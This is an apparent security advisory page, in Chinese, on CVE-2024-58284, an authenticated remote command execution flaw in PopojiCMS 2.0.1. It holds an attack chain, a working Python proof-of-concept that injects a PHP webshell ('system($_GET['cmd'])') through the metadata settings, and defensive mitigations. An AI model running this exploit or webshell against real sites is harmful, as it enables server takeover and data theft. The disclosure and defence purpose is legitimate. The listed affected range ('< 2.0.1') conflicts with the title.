IPBUF安全漏洞报告
English
CVE-2024-58284 CVSS 7.2 高危

CVE-2024-58284 PopojiCMS 2.0.1 认证后远程命令执行漏洞

披露日期: 2025-12-10

漏洞信息

漏洞编号
CVE-2024-58284
漏洞类型
远程代码执行
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
PopojiCMS

相关标签

CVE-2024-58284远程代码执行PopojiCMS认证后漏洞Webshell元数据注入PHPCVSS 7.2高危漏洞Web应用安全

漏洞概述

PopojiCMS 2.0.1存在一处严重的认证后远程命令执行漏洞。该漏洞允许具有管理员权限的用户通过系统的元数据设置功能注入恶意PHP代码。攻击者成功登录后台管理系统后,可以修改元数据内容,将恶意PHP代码写入系统配置文件中,从而在Web服务器上创建webshell。创建的webshell允许攻击者通过HTTP GET参数执行任意系统命令,包括读取敏感文件、植入后门、横向移动等操作。此漏洞的CVSS评分达到7.2,属于高危级别,对系统的机密性、完整性和可用性都造成严重影响。漏洞的利用需要攻击者首先获取有效的管理员凭据,因此主要威胁来自于内部人员或被窃取凭据的合法管理员账户。

技术细节

该漏洞存在于PopojiCMS的元数据设置功能模块中。系统管理员在后台通过设置页面修改网站的meta内容时,后端程序未对用户输入进行充分的过滤和验证,直接将用户提交的PHP代码写入配置文件。攻击者利用这一特性,可以构造包含恶意PHP代码的payload,例如:<?php system($_GET['cmd']); ?>。当这段代码被写入配置文件后,攻击者访问该配置文件即可通过URL参数执行系统命令。漏洞利用的关键在于元数据设置端点直接将用户输入存储到PHP文件中,而没有进行安全编码或输入验证。由于该功能仅对管理员开放,攻击者需要首先获取管理员账户的登录凭据。漏洞的CVSS向量为CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H,表明攻击复杂度低,无需用户交互,且对机密性、完整性和可用性均有高影响。

攻击链分析

STEP 1
步骤1
攻击者通过暴力破解、钓鱼攻击或社工手段获取PopojiCMS管理员账户的登录凭据
STEP 2
步骤2
攻击者使用获取的凭据登录PopojiCMS后台管理系统
STEP 3
步骤3
攻击者导航至元数据设置页面(Component.php?string=setting)
STEP 4
步骤4
攻击者在meta_content参数中注入恶意PHP代码,如<?php system($_GET['cmd']); ?>
STEP 5
步骤5
系统将恶意代码写入配置文件,创建可远程访问的webshell
STEP 6
步骤6
攻击者通过HTTP GET请求访问webshell,利用cmd参数执行任意系统命令
STEP 7
步骤7
攻击者可以读取敏感文件、植入后门、横向移动或完全控制服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2024-58284 PopojiCMS 2.0.1 Authenticated RCE PoC # Target: PopojiCMS <= 2.0.1 # Author: VulnCheck import requests import sys from urllib.parse import urlencode target_url = "http://target.com/po-admin/Component.php?string=setting" payload = "<?php system($_GET['cmd']); ?>" # Login to get admin session def login(target, username, password): session = requests.Session() login_url = f"{target}/po-admin/login.php" data = { "username": username, "password": password } response = session.post(login_url, data=data) return session if "success" in response.text.lower() else None # Inject malicious PHP code via metadata settings def inject_payload(session, target, payload): inject_url = f"{target}/po-admin/Component.php?string=setting" data = { "content": payload, "meta_content": payload } response = session.post(inject_url, data=data) return response # Execute command via webshell def execute_command(target, cmd): webshell_url = f"{target}/po-admin/config/meta.php" params = {"cmd": cmd} response = requests.get(webshell_url, params=params) return response.text if __name__ == "__main__": target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] print("[*] Logging in as admin...") session = login(target, username, password) if session: print("[+] Login successful!") print("[*] Injecting malicious payload...") inject_payload(session, target, payload) print("[+] Payload injected! Webshell created at /po-admin/config/meta.php") print("[*] Example: python poc.py http://target.com admin password") print("[*] Execute command: curl 'http://target.com/po-admin/config/meta.php?cmd=whoami'") else: print("[-] Login failed!")

影响范围

PopojiCMS < 2.0.1

防御指南

临时缓解措施
在官方修复版本发布之前,可以采取以下临时缓解措施:1)立即更改所有管理员账户的密码,并确保使用强密码;2)限制管理后台仅允许受信任的IP访问;3)启用双因素认证增强账户安全;4)监控Web服务器的访问日志,查找异常的webshell访问行为;5)临时禁用元数据设置功能或对该功能进行访问控制;6)部署WAF规则拦截包含可疑PHP代码模式的请求;7)对/po-admin/config/目录设置禁止直接访问的权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表